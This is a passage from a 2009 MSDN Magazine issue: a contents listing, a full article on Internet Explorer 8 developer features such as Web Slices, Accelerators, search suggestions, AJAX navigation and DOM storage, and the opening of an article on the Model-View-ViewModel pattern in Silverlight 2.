March 2009
Internet Explorer 8: New Features To Slice, Store, And Accelerate Your Web Applications
Internet Explorer 8 sports some exciting new features including Web Slices, Accelerators, and search suggestions along with AJAX navigation and DOM storage. Daron Yöndem
Silverlight Patterns: Model-View-ViewModel In Silverlight 2 Apps
In this article, you’ll learn how to avoid problematic tight coupling by applying the Model-View-ViewModel pattern in Silverlight 2. Shawn Wildermuth
SharePoint: 10 Best Practices For Building SharePoint Solutions
Here we summarize a number of best practices for developing SharePoint solutions. E. Wilansky, T. Stojecki, P. Olszewski and S. Kowalewski
Database Development: Introducing New Features In The VSTS Database Edition GDR
This article describes features introduced in the GDR for Visual Studio Team Server Database Edition. Jamie Laflen and Barclay Hill
.NET Interop: Automate Acceptance Testing With IronRuby
Acceptance testing verifies that the system under development meets the customer’s requirements. Learn the benefits here. Ben Hall
MSBuild: Best Practices For Creating Reliable Builds, Part 2
Find out here how you can use MSBuild to better manage and control large build projects in Visual Studio. Sayed Ibrahim Hashimi
Columns
Editor's Note: Growing Pains: An economic downturn is no time to stop moving forward. Remember the core goals of your business and forge ahead.Howard Dierking | Toolbox: Rich AJAX Data Controls, Analyzing HTTP Traffic, And More: This month we look at rich data Web controls for AJAX, HTTP traffic analysis, and more.Scott Mitchell | CLR Inside Out: Isolated Storage In Silverlight 2: See how to get the most out of isolated storage in Silverlight to keep your applications safe.Justin Van Patten
Cutting Edge: Explore Rich Client Scripting With jQuery, Part 1: Thanks to selectors and function chaining, jQuery allows you to write compact, cross-browser code.Dino Esposito | The Polyglot Programmer: Mixing And Matching Languages: See why you need to be a polyglot programmer and what mixing and matching languages can do for your projects.Ted Neward | Test Run: Automating UI Tests In WPF Applications: This month we describe techniques for automating UI testing in Windows Presentation Foundation applications.James McCaffrey
Security Briefs: Protect Your Site With URL Rewriting: Learn the numerous ways in which you can rewrite URLs to defend against common Web vulnerabilities.Bryan Sullivan | Extreme ASP.NET: Charting With ASP.NET And LINQ: The combination of the ASP.NET Chart Control and the data querying power of LINQ lets you build flexible charts. Learn how here.K. Scott Allen | Wicked Code: 3 Important Tips For Silverlight Development: As a Web platform, Silverlight should be fast. Don’t keep your users waiting by not heeding these performance tips.Jeff Prosise
Team System: Team Build 2008 Customization: See how to modify the default behavior of Team Build, extend your builds with custom tasks, and make use of the enhancements in Team Build 2008 SP1.Brian A. Randell | Foundations: Writing More Efficient ItemsControls: Here Charles Petzold explains several techniques for improving the performance of ItemsControls.Charles Petzold | Usability in Practice: Strategies for Designing Application Navigation: Good navigation makes for happy users, and happy users are good for your business. See what makes users happy this month.Dr. Charles B. Kreitzberg and Ambrose Little
{ End Bracket }: Perfect API Design: Why is good API design so difficult when all you really need is perfection? Intrigued? Read on.James Waletzky


Internet Explorer 8
New Features To Slice, Store, And Accelerate Your Web Applications
Daron Yöndem
Code download available from the MSDN Code Gallery
Browse the Code Online

This article discusses:
  • Web Slices
  • Accelerators
  • DOM Storage
  • AJAX Navigation
 This article uses the following technologies:
AJAX, JavaScript
This article is based on a prerelease version of Internet Explorer 8. All information is subject to change.
Contents
Defining Page Regions with Web Slices
Expiration and Update Frequency
Accelerators
Search Suggestions
AJAX Navigation
DOM Storage
Offline and Online Working Modes
XMLHttpRequest Time Outs
Wrap-Up
Internet Explorer 8 represents a major step in the evolution of the product. It provides new end user features like Web Slices, Accelerators, and search suggestions—and also brings with it more advanced developer features such as AJAX navigation and DOM storage.
In this article, I will look into the details of these features to see how Internet Explorer 8 can make life easier for both developers and users alike. You'll see how these new features allow you to define portions of a page and control its update frequency and expiration, improve the user's search and navigation experience, and lots more.

Defining Page Regions with Web Slices
Web Slices allow you to cut a Web page into pieces so that you can display and update only the parts you are interested in. Web Slices can be a handy solution for a user who wants to follow the updates from your Web site but doesn't want to use an RSS reader. RSS readers can be a little complicated for some end users and are not always appropriate.
Web Slices are programmatically defined parts of a Web page that users discover by moving their mouse over the slice or clicking the "Subscribe to a Web Slice" button on the toolbar. Figure 1 shows this in action.
Figure 1 Discovering a Web Slice by Hovering
After subscribing to a Web Slice, the user will be able to see the slice title on the Internet Explorer 8 Favorites bar. Internet Explorer will keep contacting the online source and alert the user about updates by making the slice title text bold. When you click on the title, the content of the slice will be shown in a popup window as shown in Figure 2.
Figure 2 Finding the Latest Bid on an Auction in a Web Slice
One major benefit of Web Slices is that users don't need to keep refreshing a Web page in order to track changes on the site. Furthermore, depending on how you structure the data sources for your Web Slices, they can help to conserve resources on the Web server since updates will be for only relevant data, not the whole page. Additionally, by using Web Slices, your system can provide deeper statistics about how users access different parts of a Web page, which can impact further design decisions.
As I mentioned earlier, Web Slices are predefined by the developer. So how do you define those parts? First of all, you need to mark an HTML div element as a Web Slice container using the hslice class name. The hslice element will contain all the rest of the definitions you need for your Web Slice. Here's an empty Web Slice definition:
<div class="hslice" id="ProductID1">  </div>
Each Web Slice must have a unique ID, as this is how Internet Explorer distinguishes one from the other on a page. If the ID of a Web Slice changes after users subscribe to it, Internet Explorer will not be able to find it anymore and will not be able update the content on the favorites bar.
Each Web Slice should contain an element to identify the title of the slice; the title is identified by the CSS class entry-title. This content will be shown on the favorites bar and the feed discovery command bar menu. The entry-title text can be changed if you like when the Web Slice updates itself.
To finish creating my first Web Slice I have to add just one more element: the entry-content. I have the Web Slice and the title defined but I don't have any content to show to the user. So let's define the Web Slice content by applying the CSS class entry-content on the content that should be displayed to the user:
<div class="hslice" id="ProductID1">
  <h1 class="entry-title">
  Brand New Product!</h1>
  <div class="entry-content">
    <p>
    This is the product
    definition.</p>
  </div>
</div>
Figure 3 shows my Web Slice definition. My Web Slice, called ProductID1, has a title and content.
Figure 3 A Simple Web Slice
You can add further richness to the Web Slice user experience with visual elements and inline (or global) CSS styles. The only limitation is that no scripting or ActiveX controls (including Silverlight) are allowed. If you need ActiveX ,you will need to use an alternative display source. An alternative display source can be defined on the entry-content container element of the Web Slice.
As shown here, you don't need to put the content inside the entry-content element. You are simply redirecting the Web Slice and telling the browser that the content will come from another URL:
<div class="hslice" id="ProductID2">
    <h1 class="entry-title">
        Brand New Product</h1>
    <div class="entry-content" href="http://www.contoso.com/web_slice/
        alternative_display.aspx?ID=2">
    </div>
</div>
This way you will be able to track how many times each Web Slice is updated and how many users are following which slices by simply tracking the display source pages. In addition, in the target alternative_display.aspx page you are allowed to use ActiveX controls.

Expiration and Update Frequency
Sometimes you will need Web Slices to expire in a timely manner even if the user is offline and the Web Slice can't get updated. This is especially true for sites such as online auctions or online sales campaigns. You can set the end time of a Web Slice by adding the endtime class name and the appropriate date time value inside an HTML abbreviation element, like so:
<div class="hslice" id="ProductID1">
  <h1 class="entry-title">
    Brand New Product!</h1>
  <div class="entry-content">
    <p>
      This is the product definition.</p>
        <p>
          This is the end time:
          <abbr class="endtime" title="2008-10-12T11:00:00-12:00:00">
            12:00</abbr></p>
  </div>
</div>
Users are able to set the update frequency by right-clicking the Web Slice title on the favorites bar and clicking the Properties command. As shown in Figure 4, custom schedules are allowed.
Figure 4 Users Can Set the Update Frequency of a Web Slice
In addition to the user-defined settings, you can programmatically specify frequencies by providing time to live (ttl) values:
<div class="hslice" id="ProductID6">
  <h1 class="entry-title">
    Brand New Product!!!!</h1>
  <div class="entry-content">
    <p>
      This is the product definition.</p>
    <div class="ttl" style="display: none;">
      15</div>
  </div>
</div>
To specify a frequency, I have created a DIV element with the CSS class ttl and the content 15. This tells the browser to check the content of this Web Slice every 15 minutes for possible updates. Notice that as a design choice I set the visibility of the DIV element to invisible by setting the display CSS value to none.
As I mentioned, you can use alternative display sources, but sometimes it can be useful to simply have a Web Slice fetch its data from an external data source. You have two choices when using external data sources. One option is to use an external Web Slice on another page, as you'll see in the next code snippet.
<div class="hslice" id="ProductID10">
    <div class="entry-title">
        Product Name
    </div>
    <a rel="feedurl" href="http://www.contoso.com/
        external.aspx#ProductID1"></a>
</div>
This Web Slice definition is pulling another Web Slice from external.aspx. The target Web Slice is found by its ID which is ProductID1 and attached as an anchor to the URL. The presence of the rel attribute on the anchor tag instructs Internet Explorer to use the anchor tag's URL as the Web Slice data source rather than displaying the contents in the div tag.
The second option is to use an external RSS feed. Internet Explorer will always use the first item inside the RSS feed and show the entry content from the incoming RSS XML:
<div class="hslice" id="ProductID10">
    <div class="entry-title">
        Product Name
    </div>
    <a rel="feedurl" href="/slicefeed.xml"></a>
</div>
Here the Web Slice has a feedurl anchor targeting an XML source, which could be easily replaced by a generic handler that outputs XML on the fly depending on some parameter. The XML source in our example is shown here:
<?xml version="1.0" encoding="utf-8" ?>
<rss version="2.0">
  <channel>
    <title>WebSlice RSS</title>
    <ttl>120</ttl>
    <item>
      <title>Product Name Here</title>
      <description>HTML &lt;b&gt;codes&lt;/b&gt; can be used</description>
    </item>
  </channel>
</rss>
Instead of defining the settings of our Web Slice in the entry-content HTML code, you can define them in your XML data source. In the previous code, the XML source provides values for ttl and title properties of a Web Slice. The description tag can contain rich HTML without causing any problems.

Accelerators
Accelerators exist to make common tasks faster and more automated while browsing the Web. For example, think about how often you copy and paste content from one Web site to another. Let's say you just found the address you were looking for on a corporate Web site and now you need driving directions. You copy the address, launch the Live Maps Web site and paste in the address. You can automate this process using an accelerator.
Figure 5 shows an Accelerator that finds a location on the map when the user clicks on the address. Writing your own accelerator is simple. As a developer, you just need to define what your accelerator will do using an XML OpenService Description file. Let's dig into the details of the OpenService Description format. The following shows a basic OpenService Description file:
<?xml version="1.0" encoding="utf-8" ?>
<openServiceDescription xmlns="http://www.microsoft.com/schemas/
  openservicedescription/1.0">
  <homepageUrl>http://www.contoso.com/</homepageUrl>
  <display>
    <name>Translate it with Contoso</name>
    <icon>http://www.contoso.com/favicon.ico</icon>
  </display>
  <activity category="translate">
    ...
  </activity>
</openServiceDescription>
Figure 5 Live Maps Accelerator Provides Instant Location Search
The main properties of an Accelerator are the homepageUrl, display, and activity tags. The homepageUrl is the URL of the service you are providing. All the URLs used in other tags and settings should use the same domain as the homepageUrl. The display tag sets the visual aspects of an accelerator's command button on the Internet Explorer right-click menu. When the user right-clicks on the page, the accelerator will be revealed by its name and icon.
The activity element defines the service that the accelerator provides. In this example, the accelerator will provide a translation activity. You can control how Internet Explorer groups your accelerator on the context menu by using different categories like Add (to add a link), Blog (to blog on a remote service), Define (to look for definition), Map (to look for map) and Translate (to translate the selected text). You can also define your own categories. The suggested rules for category definitions are that they should be a verb and generic enough to let other accelerator developers use the same category.
Now is the time to define our activitiyActions inside our activity tags. Here you can see one activityAction with a context value of selection:
<activityAction context="selection" >
  <preview action="http://www.contoso.com/translateacc.aspx" method=" get" >
    <parameter name="word" value="{selection}" />
  </preview>
  <execute action=" http://www.contoso.com/translate.aspx " method=" post" >
    <parameter name="word" value="{selection}" />
  </execute>
</activityAction>
The context attribute is the key component of an activityAction. The context defines when this action will be available. If the accelerator doesn't provide an action suitable for the current context, it will not be visible on the accelerator's menu in Internet Explorer. The current context choices are selection and link. If the context is selection, the user needs to select text and go to the accelerators menu in order to use your accelerator. If the context is link, the user should right-click on a hyperlink to start the action.
In each activityAction you can have an execute and a preview definition. Execute is launched when the user clicks the accelerator command from the accelerators menu. Preview action is launched when the user hovers the mouse over the accelerator command on the menu. Both the Preview and Execute tags can have an action URL and a method. You can use GET or POST as methods of data transfer.
Parameters are defined for each action as name/value pairs. The values come automatically from keywords in brackets. For instance, {selection} means that the text selected by the user will be the value of the associated parameter. A list of possible value keywords is shown in Figure 6.
Figure 6 Keyword Options
Name | Description
documentDomain | The domain address of the current page.
documentTitle | The title of the current page.
documentUrl | The full URL of the current page.
link | If the user clicked a link, this provides the full address of the link.
linkDomain | If the user clicked a link, this provides the domain address of the link.
linkRel | If the user clicked a link, this provides the rel property of the link.
linkText | If the user clicked a link, this provides the text of the link.
selection | The selected text on the current page.
The preview window works like an IFrame, which means that you can use any kind of interaction inside the preview window. It is more appropriate to design a specific interface and distinguish the preview and execute action URLs.
The final OpenService Description file for the example is shown in Figure 7. Now it's time to let the visitor of our Web site install this accelerator to her PCs. Here is the script needed to install the accelerator:
<div>
    <input id="Button1" type="button"
    value="Click to Install"
    onclick="window.external.AddService('myaccelerat.xml');" />
</div>
Figure 7 The Final OpenService Description File
<?xml version="1.0" encoding="utf-8" ?>
<openServiceDescription xmlns="http://www.microsoft.com/schemas/
  openservicedescription/1.0">
  <homepageUrl>http://www.contoso.com/</homepageUrl>
  <display>
    <name>Translate with Contoso</name>
    <icon>http://www.contoso.com/favicon.ico</icon>
  </display>
  <activity category="translate">
    <activityAction context="selection" >
      <preview action="http://www.contoso.com/translate.asp">
        <parameter name="Word" value="{selection}" />
      </preview>
      <execute action="http://www.contoso.com/translate.asp">
        <parameter name="Word" value="{selection}" />
      </execute>
    </activityAction>
  </activity>
</openServiceDescription>
The AddService method gets the URL of our OpenService Description XML file and starts the installation. In order to find out if an accelerator is already installed you can call the isServiceInstalled method.

Search Suggestions
Internet Explorer 7.0 introduced a new feature called Search Providers. Users were able to integrate different search providers into their browser and use the search bar to easily navigate to their favorite search engine. This is possible because of the XML-based OpenSearch specification files. Internet Explorer 8 further improves search with a feature called search suggestions. As the name implies, the browser makes suggestions while you type your search keyword.
As the user types, the browser goes to the selected search suggestions provider and requests suggestions related to the search keywords. The resulting data is instantly shown to the user to create a better search experience (see Figure 8).﻿
Figure 8 Easily Access Suggestions for Search Keywords without Navigating Away from Current Page
Before getting into the details of how Search suggestions work, you will need a search provider. A search provider consists of three main elements: a name, a search URL, and an icon. Those are all well defined in the OpenSearch specification XML. The following is a full-featured search provider written for Internet Explorer 7.0 without search suggestions:
<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
  <ShortName>Contoso Search</ShortName>
  <Url type="text/html" template="http://www.contoso.com/?key2search=
    {searchTerms}"/>
  <Image height="16" width="16" type="image/icon">
    http://www.contoso.com/favicon.ico</Image>
</OpenSearchDescription>
The ShortName tag includes the search provider name and the URL tag defines the search path of the search engine. The searchTerms keyword in the URL pattern will be replaced by the search keywords written by the user. Finally, the Image tag points to an icon file for the search provider.
In order to install a search provider, users will need to click an HTML element on your page or discover the search provider through the search box of Internet Explorer 8. And in a similar manner as accelerators, search providers can be installed using the window.external.AddSearchProvider JavaScript function:
<a href="#" onclick="window.external.AddSearchProvider('http://
    www.contoso.com/provider.xml')">  Add Search Provider  </a>
Note that the AddSearchProvider JavaScript function requires the OpenSearch XML file URL as a parameter in order to initialize the install process.
As an alternative to the explicit reference to your OpenSearch XML file, you can let the browser explore your Web page and discover your search provider. To make your search provider discoverable, you will need to put a hidden link to your OpenSearch XML file in your HTML pages header. The following is a hidden link to a search provider:
<link title="Contoso Search" rel="search" type="application/
opensearchdescription+xml" href="http://www.contoso.com/provider.xml" />
The title of the link is the name of the search engine shown in the browser. The rel and type properties of the hidden link should be exactly the same as I've used here. This is how the browser knows that it is a link to a search provider. Finally, the href attribute contains a URL to the OpenSearch description XML file.
Now that you have your Search Provider ready, you can go on and add search suggestions to it. First, you will need to modify the OpenSearch description XML file and specify your search suggestion data source:
<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
  <ShortName>Contoso Search</ShortName>
  <Url type="text/html" template="http://www.contoso.com/?key2search=
    {searchTerms}"/>
  <Url type="application/x-suggestions+json" template="http://
  www.contoso.com/json.ashx? key2search ={searchTerms}"/>
  <Image height="16" width="16" type="image/icon">http://
    www.contoso.com/favicon.ico</Image>
</OpenSearchDescription>
Here you will see that I've added one additional line of XML to the previous search provider description file—a new URL tag with a different type value. In order to use the search suggestions feature, you will need a service that can evaluate the search keywords being provided by the user and is able to supply the appropriate suggestion list.
The list can be provided in XML or JSON format. In the example, I have added pointers to the suggestion service using JSON. However, I could have easily consumed an XML-based service with the following XML:
<Url type="application/x-suggestions+xml" template="http://
  www.contoso.com/xml.ashx?
  key2search  ={searchTerms}"/>
There are important differences between XML and JSON data sources. A JSON data source can provide a list of suggestions including the suggested results, one description for each result and a URL if needed. Here's an example:
["con",
["contoso soft", "contoso books", "contoso rent"],
["software company", "book store", "rent a car"],
["http://www.contoso.com/soft", "http://www.contoso.com/books", "http://www.contoso.com/rent"]]
Figure 10 A Sample Search Suggestion List
Internet Explorer 8 will pull the JSON data on the fly and show the autocomplete list instantly. Be aware that the search keyword should be included in the data returned from the provider. The first element in our JSON example contains our search keyword "con."
If you choose to use the XML format to provide search suggestion lists for Internet Explorer, you will be able to choose a title for your result list, to split the results with separators, and to provide visual suggestions as well.
At first I will provide a Search suggestion list with only two results and one separator. The XML response in Figure 9 contains the submitted keyword in the Query tags and provides two Items in a Section tag. The section tag has a title and each item has a Text, Description and a Url to navigate.
Figure 9 XML for Search Suggestions
<SearchSuggestion>
    <Query>con</Query>
    <Section title="First Section">
        <Item>
            <Text>Result 1</Text>
            <Description>Description 1</Description>
            <Url>http://www.contoso.com?id=1</Url>
        </Item>
        <Separator title="Others"/>
        <Item>
            <Text>Result 2</Text>
            <Description>Description 2</Description>
            <Url>http://www.contoso.com?id=2</Url>
        </Item>
    </Section>
</SearchSuggestion>
You can use separator tags with titles to provide different lists of results in the search suggestion box. The URLs will be used when the user clicks a suggested item in the list. In Figure 10, you can see how the XML data will be shown in Internet Explorer 8.
In addition to the classical view of a search suggestion list, you can use images to enhance the user experience and provide an image with each suggestion. All you need to do is and add an Image tag to the appropriate Item tags, like so:

<Item>
<Text>Result 1</Text>
<Description>Description 1</Description>
<Url>http://www.contoso.com?id=1</Url>
<Image Source=http://www.contoso.com/image.jpg
    alt="A picture is worth thousand words" width="70"></Image>
</Item>

AJAX Navigation
AJAX is one of the major components of rich Internet applications (RIA) and will remain so as long as HTML is in use. You can use AJAX to update pieces of the UI without requiring entire page refreshes and server-client cycles for each user action. But AJAX has its drawbacks.
When you use AJAX to modify your Web page content you will notice that the address bar doesn't change. This makes sense. But what if the user wants to have a consistent URL of the current page's state, say for adding to favorites and so forth? What if the user clicks the back button in her browser? She will be sent to the Web site she visited previously.
Somehow you have to reflect the URL change without refreshing the Web site. Enter the fragment identifier. The fragment identifier does exactly what it sounds like it does—identifies the state of part of the page.
Each URL can have a fragment identifier; you just need to append a pound sign "#" to the end of the URL (for example, www.contoso.com/default.aspx#5). If you change the content after the # sign, the Web page will not refresh but the history log of the browser will record the change and provide back and forth navigation.
In Internet Explorer 8, this feature is provided with the window.location.hash property and the new hashChanged event. Whenever you change the window.location.hash property, the address bar will get an update and the content of the hash property will be placed after the # sign. When the user tries to navigate to another Web page through the browsers buttons, the hashChanged event will fire and provide the target hash value which is the value after the target pages # sign.
Let's create a simple Web site with a WebMethod in order to service AJAX calls. This sample Web site will contain an HTML button and a DIV element. Each time someone clicks the HTML button, the numeric content of the DIV element will be sent to the WebMethod:
<form id="form1" runat="server">
    <asp:ScriptManager EnablePageMethods="true" ID="ScriptManager1"
        runat="server">
    </asp:ScriptManager>
<div>
    <input id="Button1" onclick="GetNext();" type="button" value="button" />
    <div id="content">0</div>
</div>
</form>
In order to call the service, add the following JavaScript:
function GetNext() {
    PageMethods.GetNext($get("content").innerHTML, Done);
}
function Done(sender) {
    $get("content").innerHTML = sender;
    window.location.hash = sender;
}
Finally, create the WebMethod in the page's codebehind file in order to increment the integer parameter and return it to the AJAX caller:
<System.Web.Services.WebMethod()> _
Public Shared Function GetNext(ByVal x As Integer) As Integer
    Return x + 1
End Function
The JavaScript method named GetNext makes an XMLHttpRequest to the server. The parameters for the GetNext method are simply the content of the DIV element and a callback method. When the callback method, Done, is called as a result of the service response, the new value is simply put back into the DIV element.
Here comes the interesting point. After modifying the Web page with the new content, I assign a unique identifier to the window.location.hash property in order to identify the current state of my Web page. For this simple example, that value is the same number displayed in my DIV element. After changing the hash property, if you take a look in the browser history you will notice the new entries that are now listed there.
Whenever the user navigates back or forward in the browser history, the hash property will be handed back to a JavaScript function that handles the onhashchange event. This is accomplished using the following line of code:
<body onhashchange="HashChanged();">
This function will be called whenever the user navigates backward or forward, and Internet Explorer 8 will update the window.location.hash property according to the values in the browser history. This enables me to easily get the hash value and update my page, whether that action is as simple as updating the page with the hash data itself, as shown below or whether it involves requesting data from the server based on a unique identifier stored in the hash:
function HashChanged() {
    $get("content").innerHTML = window.location.hash;
}

DOM Storage
Currently, if you need to store data on the client, the only standardized way, and the old standby, is to use document.cookie. Unfortunately, this method is simply not flexible or powerful enough for today's online applications. One of the most significant shortcomings of cookies is the 4KB limit. Internet Explorer 8 has an answer—DOM storage.
DOM storage is part of the HTML 5 Working Draft and provides a huge data store (about 10MB) on the client side. This storage can be so much larger in part because the data is not sent with each request to the server as it is with cookies. Plus, the localStorage never expires.
In order to store and retrieve data from DOM storage, all you need is a key/value pair. The localStorage JavaScript class provides the methods setItem, getItem and removeItem to access all the features of DOM Storage:
function Save() {
    localStorage.setItem("MyItem", $get("Text1").value);
}
function Load() {
    $get("Text1").value = localStorage.getItem("MyItem");
}
This code performs the equivalent of a property get and set operation in C# or Visual Basic using DOM Storage as the backing store. First of all, the Save function stores the value of a TextBox to DOM Storage with a key name of MyItem. Then the Load function retrieves the data from DOM Storage by providing the same key name.

Offline and Online Working Modes
Like many Web developers, I've long been dreaming of the day when I could detect if the current user has a healthy connection to the Internet and provide an appropriate level of functionality. Now, Internet Explorer 8 provides the status of the host PCs Internet connection with onLine property of window.navigator. While in the past, this property represented whether the user had chosen to work offline, it now indicates whether the current user has an established connection to the network.
In addition to the onLine property, Internet Explorer 8 has now two new callback handlers ononline and onoffline (see "ononline Event" and "onoffline Event"). The onoffline handler is raised when the system loses the network connection and the ononline handler is raised when the connection is restored. You can attach event listeners and be warned instantly about the state of the connection so that you can provide you users a blended experience during both online and offline functionality.
Figure 11 shows a simple usage of ononline and onoffline events defined in the body of a Web page. Each time the user gets connected to the network, the Online JavaScript method will launch. Likewise, each time the users disconnects, the network the Offline method will fire.
Figure 11 Using Ononline and Onoffline Events
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
    <script type="text/javascript" language="javascript">
        function Online() {
            alert("I'm online");
        }
        function Offline() {
            alert("I'm offline");
        }
    </script>
</head>
<body ononline="Online();" onoffline="Offline();">
    <form id="form1" runat="server">
    </form>
</body>
</html>

XMLHttpRequest Time Outs
The new XMLHttpRequest in Internet Explorer 8 has a TimeOut property and an ontimeout event. This enables you to define XMLHttpRequests which will timeout and allow other requests to move ahead in the request queue.In the following code, I create a new XmlHttpRequest and set the timeout property and ontimeout event listener:
function GetAReqeust() {
    var MyRequest = XMLHttpRequest();
    MyRequest.ontmeout = TimeOutHere;
    MyRequest.open("GET","http://www.contoso.com/data.xml");
    MyRequest.timeout = 2000;
    MyRequest.send(null);
}
function TimeOutHere() {
    alert("Request to Contoso timed out!");
}
There are two rules you really should follow when defining timeout settings: the timeout event listener should be bound before opening the request and the timeout property should be set after opening the request.
One of the major problems you will encounter when designing your AJAX applications involves communicating with services in various remote domains thanks to the same-origin-policy.
There are some workarounds you could perform, but none of them provide what you need: both a straightforward and a secure method of communication. Internet Explorer 8 provides a new client-side object called XDomainRequest, which allows developers to access remote domains without requiring implementation of a a server-side proxy.
If the remote server provides an Http Header called Access-Control-Allow-Origin:* all other remote sites will be able to request data from the current Web page. The client-side use of XDomainRequest object is the same as the ordinary XmlHttpRequest.

As you can see, Internet Explorer 8 offers a number of features that solve many problems Web developers have been hoping to solve for a long time. Whether it's in more deeply integrating your content and services into the browser or leveraging new browser platform services to provide for a more seamless user experience, Internet Explorer 8 gives you the tools to build richer, more seamless experiences for your users.

Daron Yöndem is the founder of Deveload Software based in Turkey. He is a Microsoft Regional Director and MVP in ASP.NET. Daron is an international speaker leading the INETA MEA Speaker Bureau and author of two ASP.NET AJAX books.


Silverlight Patterns
Model-View-ViewModel In Silverlight 2 Apps
Shawn Wildermuth
Code download available from the MSDN Code Gallery
Browse the Code Online

This article discusses:
  • Silverlight 2 development
  • Model-View-ViewModel pattern
  • Views and the View Model
  • Concessions to Silverlight 2
 This article uses the following technologies:
Silverlight 2, Visual Studio
Contents
The Problem
Application Layering in Silverlight 2
MVVM: A Walk-Through
Creating the Model
Views and the View Model
Concessions to Silverlight 2
Where We Are
Now that Silverlight 2 has been released, the number of applications built on top of it is growing, and with that comes some growing pains. The basic structure supported by the Silverlight 2 template implies a tight integration between the user interface (UI) and any data that you are working with. While this tight integration is useful for learning the technology, it becomes a hindrance to testing, refactoring, and maintenance. I will show you how to separate the UI from the data by using mature patterns for application design.

The Problem
The core of the problem is tight coupling, which is the result of mixing the layers of your application together. When one layer has intimate knowledge about how another layer does its job, then your application is tightly coupled. Take a simple data entry application that lets you query for homes for sale in a particular city. In a tightly coupled application, you could define the query to perform the search in a button handler in your user interface. As the schema changes or the semantics of the search change, both the data layer and the user interface layer have to be updated.
This presents a problem in code quality and complexity. Every time the data layer changes, you have to synchronize and test the application to be sure that the changes are not breaking changes. When everything is bound tightly together, any movement in one part of the application can cause rippling changes across the rest of the code. When you are creating something simple in Silverlight2, like a movie player or a menu widget, tightly coupling the application's components is not likely to be an issue. As the size of a project increases, however, you will feel the pain more and more.
The other part of the problem is unit testing. When an application is tightly coupled, you can only do functional (or user interface) testing of the application. Again, this is not an issue with a small project, but as a project grows in size and complexity, being able to test application layers separately becomes very important. Keep in mind that unit testing is not just about making sure that a unit works when you use it in a system but about making sure it continues to work in a system. Having unit tests for parts of a system adds assurance that as the system changes, problems are revealed earlier in the process rather than later (as would happen with functional testing). Regression testing (for example, running unit tests on a system on every build) then becomes crucial to ensuring that small changes that are added to a system are not going to cause cascading bugs.
Creating an application by defining different layers might appear to some developers to be a case of over-engineering. The fact is that whether you build with layers in mind or not, you are working on an n-tier platform and your application will have layers. But without formal planning, you will end up with either a very tightly coupled system (and the problems detailed previously) or an application full of spaghetti code that will be a maintenance headache.
It is easy to assume that building an application with separate layers or tiers requires a lot of infrastructure to make it work well, but in fact, simple separation of layers is straightforward to implement. (You can design more complex layering of an application by using inversion of control techniques, but that addresses a different problem than is discussed in this article.)

Application Layering in Silverlight 2
Silverlight 2 does not require you to invent something new to help you decide how to layer an application. There are some well-known patterns that you can use for your design.
A pattern that people hear a lot about right now is the Model-View-Controller (MVC) pattern. In the MVC pattern, the model is the data, the view is the user interface, and the controller is the programmatic interface between the view, the model, and the user input. This pattern, however, does not work well in declarative user interfaces like Windows Presentation Foundation (WPF) or Silverlight because the XAML that these technologies use can define some of the interface between the input and the view (because data binding, triggers, and states can be declared in XAML).
Model-View-Presenter (MVP) is another common pattern for layering applications. In the MVP pattern, the presenter is responsible for setting and managing state for a view. Like MVC, MVP does not quite fit the Silverlight 2 model because the XAML might contain declarative data binding, triggers, and state management. So where does that leave us?
Luckily for Silverlight 2, the WPF community has rallied behind a pattern called Model-View-ViewModel (MVVM). This pattern is an adaptation of the MVC and MVP patterns in which the view model provides a data model and behavior to the view but allows the view to declaratively bind to the view model. The view becomes a mix of XAML and C# (as Silverlight 2 controls), the model represents the data available to the application, and the view model prepares the model in order to bind it to the view.
The model is especially important because it wraps the access to the data, whether access is through a set of Web services, an ADO.NET Data Service, or some other form of data retrieval. The model is separated from the view model so that the view's data (the view model) can be tested in isolation from the actual data. Figure 1 shows an example of the MVVM pattern.
Figure 1 Model-View-ViewModel Pattern

MVVM: A Walk-Through
To help you understand how to implement the MVVM pattern, let's walk through an example. This example does not necessarily represent how actual code would be used. It is simply designed to explain the pattern.
This example is composed of five separate projects in a single Visual Studio solution. (Although you do not need to create each of the layers as a separate project, it is often a good idea.) The example further separates the projects by placing them in client and server folders. In the Server folder are two projects: an ASP.NET Web Application (MVVMExample) that will host our Silverlight projects and services and a .NET Library project that contains the data model.
In the Client folder are three projects: a Silverlight project (MVVM.Client) for the main UI of our app, a Silverlight client library (MVVM.Client.Data) containing the model and view model as well as service references, and a Silverlight project (MVVM.Client.Tests) containing the unit tests. You can see the breakdown of these projects in Figure 2.
Figure 2 Project Layout
For this example, I used ASP.NET, Entity Framework, and an ADO.NET Data Service on the server. Essentially, I have a simple data model on the server that I expose through a REST-based service. Please see my September 2008 article on using ADO.NET Data Services in Silverlight 2, "Data Services: Create Data-Centric Web Applications with Silverlight 2" for a further explanation of those details.

Creating the Model
To enable layering in our Silverlight app, we first need to define the model for the application data in the MVVM.Client.Data project. Part of defining the model is determining the types of entities you are going to work with inside an application. The types of entities depend on how the application will interact with the server data. For example, if you are using Web services, your entities are likely going to be data contract classes that are generated by creating a service reference to your Web service. Alternatively, you could use simple XML Elements if you are retrieving raw XML in your data access. Here , I use an ADO.NET Data Service, so when I create a service reference to the data service, a set of entities is created for me.
In this example, the service reference created three classes that we care about: Game, Supplier, and GameEntities (the context object to access the data service). The Game and Supplier classes are the actual entities that we use to interact with the view, and the GameEntities class is used internally to access the data service to retrieve data.
Before we can create the model, however, we need to create an interface for communication between the model and the view model. This interface typically includes any methods, properties, and events that are required to access data. This set of functionality is represented by an interface to allow it to be replaced by other implementations as necessary (testing, for example). The model interface in this example, shown here, is called IGameCatalog.
public interface IGameCatalog
{
  void GetGames();
  void GetGamesByGenre(string genre);
  void SaveChanges();

  event EventHandler<GameLoadingEventArgs> GameLoadingComplete;
  event EventHandler<GameCatalogErrorEventArgs> GameLoadingError;
  event EventHandler GameSavingComplete;
  event EventHandler<GameCatalogErrorEventArgs> GameSavingError;
}
The IGameCatalog interface contains methods to retrieve and save data. However, none of the operations return actual data. Instead they have corresponding events for success and failure. This behavior enables asynchronous execution to address the Silverlight 2 requirement for asynchronous network activity. While an asynchronous design in WPF is often recommended, this particular design works well in Silverlight 2 because Silverlight 2 requires asynchronicity.
To enable notification of the results to the caller of our interface, the example implements a GameLoadingEventArgs class that is used in the events to send the results of a request. This class exposes our entity type (Game) as an enumerable list of entities that contains the results the caller requested, as you can see in the following code.
